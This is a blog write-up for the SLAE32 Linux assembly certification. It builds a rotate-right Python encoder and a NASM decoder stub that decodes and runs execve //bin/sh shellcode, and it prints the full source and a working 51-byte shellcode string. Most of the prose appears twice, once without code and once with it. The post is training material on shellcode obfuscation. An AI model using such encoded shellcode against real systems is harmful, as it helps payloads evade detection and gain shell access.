This is a continuation of a seven (7) part series for the SLAE32 Certification challenge. You can read the first three (3) parts here:
Part 1 - Assignment 1
Part 2 - Assignment 2
Part 3 - Assignment 3
The requirements for this assignment are as follows:
The code for this assignment can be found on GitHub here:
https://github.com/blu3gl0w13/SLAE32/tree/master/assignment-4
Supplemental scripts I developed for this course can be found on GitHub here:
https://github.com/blu3gl0w13/SLAE32/tree/master/scripts
Before we get started, let's review the execve-stack.nasm script provided by the SecurityTube Linux Assembly Expert course. This is a standard execve execution of //bin/sh. Nothing too fancy here. We initialize our EAX register, pushes a NULL byte onto the stack, pushes //bin/sh onto the stack in reverse order hs/nib// four (4) bytes at a time, copies the stack pointer into EBX, pushes another NULL byte onto the stack, sets up the *env[] parameter by copying the new stack pointer into EDX, pushes the old stack pointer from EBX back onto the stack and then moves the new stack pointer into ECX. Finally, AL is setup with the EXECVE system call number and the interrupt signal is sent to the processor.
Before we get into the finer details, I want to cover the encoder.py script and some of the thought process that went into it. While Python is an amazing language, and yes, I'm very partial to scripting in Python, it can't do everything. Where Python fails though, it really succeeds. What I mean by this is that even if something hasn't been implemented yet, building it yourself in Python isn't that difficult most of the time. While Python has most of the bitwise operations, it does not have a bitwise rotate right, or rotate left out of the box. I went searching to see if anyone had built this functionality into Python and stumbled upon this blog: http://www.falatic.com/index.php/108/python-and-bitwise-rotation.
With these functions in hand, I rewrote them a bit to clear up any confusing code for anyone new to Python that might read this blog. I decided to use rotate right two (2) positions to encode the execve-stack shellcode. The full Python script is below and should be relatively easy to follow. Those new to Python might not fully understand the ror() or rol() functions so I'll break them down before getting too far ahead in this blog.
Before we get to what each of these functions do, let's break down what rotate right and left do. The rotate instruction takes a bit and shifts it to the next position, either right or left. If the bit being shifted is the low bit, it gets shifted to the high bit position. For example, let's see what happens when we rotate 1000 0001 to the right by one. We get 1100 0000. If we rotate 1100 0000 two positions to the left, we wind up with 0000 0011. This differs from the shift instruction in that the rotate instruction wraps the bit around if the rotate operation would cause a bit to rotate off of either end. The shift instruction moves bits to the carry flag if they are shifted off of either end.
For more information, refer to the x86_64 bit Intel Developer's Guide:
http://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-software-developer-manual-325462.pdf
If we look at the two functions below and step through them, we can see that they do in fact work very well. Since I'm using the rotate right function, let's step through it and perform some math.
we will call rotate right function as follows:
valueToBeRotated = 1100 0011 (0xC3)
rotateAmount = 2
We start with our valueToBeRotated & 0xff calculation:
1100 0011 & 1111 1111 --> 1100 0011
Because of the order of operatoin, we calculate the modulus operation next:
2 % 8 = 2
So, when we put it together, we get the following:
1100 0011 >> 2 --> 0011 0000
We then handle the right side of the bitwise OR ( | ), and more specifically, we perform the modulus operation, then the subtraction, followed by the left shift, and then the bitwise AND operation. This will yield the right value of the bitwise OR which will be the final operation to yield our final return value. If everything works out well, we should have successfully rotated our initial value. Buckle up, here we go!
(1100 0011 << (8 - (2 % 8)) & 0xff) (1100 0011 << (8 - 2) & 0xff) (1100 0011 << 6 & 0xff) (1100 0000 & 1111 1111) 1100 0000 Ok, now all that is left is the final bitwise OR operation. Remember this is an inclusive OR.
0011 0000 | 1100 0000
1111 0000
This is where we do our happy dance! If we verify a rotate right two (2) positions starting with 1100 0011, we do in fact get 1111 0000. It appears this function works as intended. It's always a good idea to double check.
Have we had enough math yet? Never! I know what you're thinking. Hey, why not build the encoder in Assembly? Good question. I believe it was a slight oversight on my part as this would have been much easier to build in assembly. Ah well. Below is the decoder-execve.nasm program which decodes our encoded shellcode. We employ the JMP-CALL-POP technique for ease of accessing the address of our encoded shellcode. We store the address to the encoded shellcode in ESI. We initialize our ECX register and then store the length of our shellcode into the CL register. Next, we'll initialize the EDX register to prepare using it for our temporary location for storing one byte from the encoded shellcode.
Our decode: block will copy a byte from the address in ESI into DL, remember ESI holds the address to our encoded shellcode. Since we encoded with a rotate right, we need to perform a rotate left in order to properly decode this byte. We also have to use the same value for our rotate left, in this case two (2). We then copy our byte back over the same location pointed to by ESI and then increase ESI by one (1). We loop through the decode: block until our ECX register is zero (0). This indicates we've reached the end of our shellcode and it should be fully decoded. The next thing to do is to JMP SHORT to our now decoded shellcode.
Here's the decoder-execve.nasm shellcode which is actually nice and short.
When we run the shellcode, we see it does in fact work. As an added bonus, it's incredibly small at only fifty-one (51) bytes.

Next Part 5 - Assignment 5
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-744
Part 1 - Assignment 1
Part 2 - Assignment 2
Part 3 - Assignment 3
The requirements for this assignment are as follows:
- Create a custom encoding scheme like the "Insertion Encoder" we showed you
- PoC with using execve-stack as the shellcode to encode with your schema and execute
The code for this assignment can be found on GitHub here:
https://github.com/blu3gl0w13/SLAE32/tree/master/assignment-4
Supplemental scripts I developed for this course can be found on GitHub here:
https://github.com/blu3gl0w13/SLAE32/tree/master/scripts
Before we get started, let's review the execve-stack.nasm script provided by the SecurityTube Linux Assembly Expert course. This is a standard execve execution of //bin/sh. Nothing too fancy here. We initialize our EAX register, pushes a NULL byte onto the stack, pushes //bin/sh onto the stack in reverse order hs/nib// four (4) bytes at a time, copies the stack pointer into EBX, pushes another NULL byte onto the stack, sets up the *env[] parameter by copying the new stack pointer into EDX, pushes the old stack pointer from EBX back onto the stack and then moves the new stack pointer into ECX. Finally, AL is setup with the EXECVE system call number and the interrupt signal is sent to the processor.
; Filename: execve-stack.nasm
; Author: Vivek Ramachandran
; Website: http://securitytube.net
; Training: http://securitytube-training.com
;
;
; Purpose:
global _start
section .text
_start:
; PUSH the first null dword
xor eax, eax
push eax
; PUSH //bin/sh (8 bytes)
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 11
int 0x80
Before we get into the finer details, I want to cover the encoder.py script and some of the thought process that went into it. While Python is an amazing language, and yes, I'm very partial to scripting in Python, it can't do everything. Where Python fails though, it really succeeds. What I mean by this is that even if something hasn't been implemented yet, building it yourself in Python isn't that difficult most of the time. While Python has most of the bitwise operations, it does not have a bitwise rotate right, or rotate left out of the box. I went searching to see if anyone had built this functionality into Python and stumbled upon this blog: http://www.falatic.com/index.php/108/python-and-bitwise-rotation.
With these functions in hand, I rewrote them a bit to clear up any confusing code for anyone new to Python that might read this blog. I decided to use rotate right two (2) positions to encode the execve-stack shellcode. The full Python script is below and should be relatively easy to follow. Those new to Python might not fully understand the ror() or rol() functions so I'll break them down before getting too far ahead in this blog.
#!/usr/bin/env python
#-----------------------------------------------------------------------------
#
# encoder.py
# by Michael Born (@blu3gl0w13)
# Student-ID: SLAE-744
# September 5, 2016
#
#----------------------------------------------------------------------------
# handle our imports
import sys
#-------------------------------------------------------------------
#
# The following Bitwise rotation functions
# have been translated from the following blog
# http://www.falatic.com/index.php/108/python-and-bitwise-rotation
#-------------------------------------------------------------------
def ror(valueToBeRotated, rotateAmount):
return ((valueToBeRotated & 0xff) >> rotateAmount % 8) | \
(valueToBeRotated << (8 - (rotateAmount % 8)) & 0xff)
def rol(valueToBeRotated, rotateAmount):
return ((valueToBeRotated << (rotateAmount % 8)) & 0xff) | \
((valueToBeRotated & 0xff) >> (8 - (rotateAmount % 8)))
shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69 \
\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")
encshellcode = ""
encshellcode2 = ""
for i in bytearray(shellcode):
x = ror(i, 2)
#x = i >> 2
encshellcode += "\\x%02x," % x
encshellcode2 += "0x%02x," % x
print "\n\nEncoded Shellcode: %s" % encshellcode
print "Encoded Shellcode 2: %s\n\n" % encshellcode2
Before we get to what each of these functions do, let's break down what rotate right and left do. The rotate instruction takes a bit and shifts it to the next position, either right or left. If the bit being shifted is the low bit, it gets shifted to the high bit position. For example, let's see what happens when we rotate 1000 0001 to the right by one. We get 1100 0000. If we rotate 1100 0000 two positions to the left, we wind up with 0000 0011. This differs from the shift instruction in that the rotate instruction wraps the bit around if the rotate operation would cause a bit to rotate off of either end. The shift instruction moves bits to the carry flag if they are shifted off of either end.
For more information, refer to the x86_64 bit Intel Developer's Guide:
http://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-software-developer-manual-325462.pdf
If we look at the two functions below and step through them, we can see that they do in fact work very well. Since I'm using the rotate right function, let's step through it and perform some math.
we will call rotate right function as follows:
valueToBeRotated = 1100 0011 (0xC3)
rotateAmount = 2
We start with our valueToBeRotated & 0xff calculation:
1100 0011 & 1111 1111 --> 1100 0011
Because of the order of operatoin, we calculate the modulus operation next:
2 % 8 = 2
So, when we put it together, we get the following:
1100 0011 >> 2 --> 0011 0000
We then handle the right side of the bitwise OR ( | ), and more specifically, we perform the modulus operation, then the subtraction, followed by the left shift, and then the bitwise AND operation. This will yield the right value of the bitwise OR which will be the final operation to yield our final return value. If everything works out well, we should have successfully rotated our initial value. Buckle up, here we go!
(1100 0011 << (8 - (2 % 8)) & 0xff) (1100 0011 << (8 - 2) & 0xff) (1100 0011 << 6 & 0xff) (1100 0000 & 1111 1111) 1100 0000 Ok, now all that is left is the final bitwise OR operation. Remember this is an inclusive OR.
0011 0000 | 1100 0000
1111 0000
This is where we do our happy dance! If we verify a rotate right two (2) positions starting with 1100 0011, we do in fact get 1111 0000. It appears this function works as intended. It's always a good idea to double check.
def ror(valueToBeRotated, rotateAmount):
return ((valueToBeRotated & 0xff) >> rotateAmount % 8) | \
(valueToBeRotated << (8 - (rotateAmount % 8)) & 0xff)
def rol(valueToBeRotated, rotateAmount):
return ((valueToBeRotated << (rotateAmount % 8)) & 0xff) | \
((valueToBeRotated & 0xff) >> (8 - (rotateAmount % 8)))
Have we had enough math yet? Never! I know what you're thinking. Hey, why not build the encoder in Assembly? Good question. I believe it was a slight oversight on my part as this would have been much easier to build in assembly. Ah well. Below is the decoder-execve.nasm program which decodes our encoded shellcode. We employ the JMP-CALL-POP technique for ease of accessing the address of our encoded shellcode. We store the address to the encoded shellcode in ESI. We initialize our ECX register and then store the length of our shellcode into the CL register. Next, we'll initialize the EDX register to prepare using it for our temporary location for storing one byte from the encoded shellcode.
Our decode: block will copy a byte from the address in ESI into DL, remember ESI holds the address to our encoded shellcode. Since we encoded with a rotate right, we need to perform a rotate left in order to properly decode this byte. We also have to use the same value for our rotate left, in this case two (2). We then copy our byte back over the same location pointed to by ESI and then increase ESI by one (1). We loop through the decode: block until our ECX register is zero (0). This indicates we've reached the end of our shellcode and it should be fully decoded. The next thing to do is to JMP SHORT to our now decoded shellcode.
;-------------------------------
; decoder-execve.nasm
; by Michael Born (@blu3gl0w13)
; September 5, 2016
; Student ID: SLAE-744
;-------------------------------
global _start
section .text
_start:
; JMP CALL POP
; to get address of our
; encoded shellcode
jmp shellcode
decoder:
pop esi
xor ecx, ecx
mov cl, shellLen
xor edx, edx
decode:
mov dl, byte [esi]
rol dl, 0x2
mov byte [esi], dl
inc esi
loop decode
jmp short encShellcode
shellcode:
call decoder
encShellcode: db 0x4c,0x30,0x14,0x1a,0xcb,0xcb,0xdc,0x1a,0x1a,0xcb,0x98,0x5a,\
0x9b,0x62,0xf8,0x14,0x62,0xb8,0xd4,0x62,0x78,0x2c,0xc2,0x73,\
0x20
shellLen: equ $-encShellcode
Here's the decoder-execve.nasm shellcode which is actually nice and short.
"\xeb\x13\x5e\x31\xc9\xb1\x19\x31\xd2\x8a\x16\xc0\xc2"
"\x02\x88\x16\x46\xe2\xf6\xeb\x05\xe8\xe8\xff\xff\xff"
"\x4c\x30\x14\x1a\xcb\xcb\xdc\x1a\x1a\xcb\x98\x5a\x9b"
"\x62\xf8\x14\x62\xb8\xd4\x62\x78\x2c\xc2\x73\x20"
When we run the shellcode, we see it does in fact work. As an added bonus, it's incredibly small at only fifty-one (51) bytes.

Next Part 5 - Assignment 5
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-744
Comments
Post a Comment
Please leave a comment. Keep it on topic and appropriate for all audiences.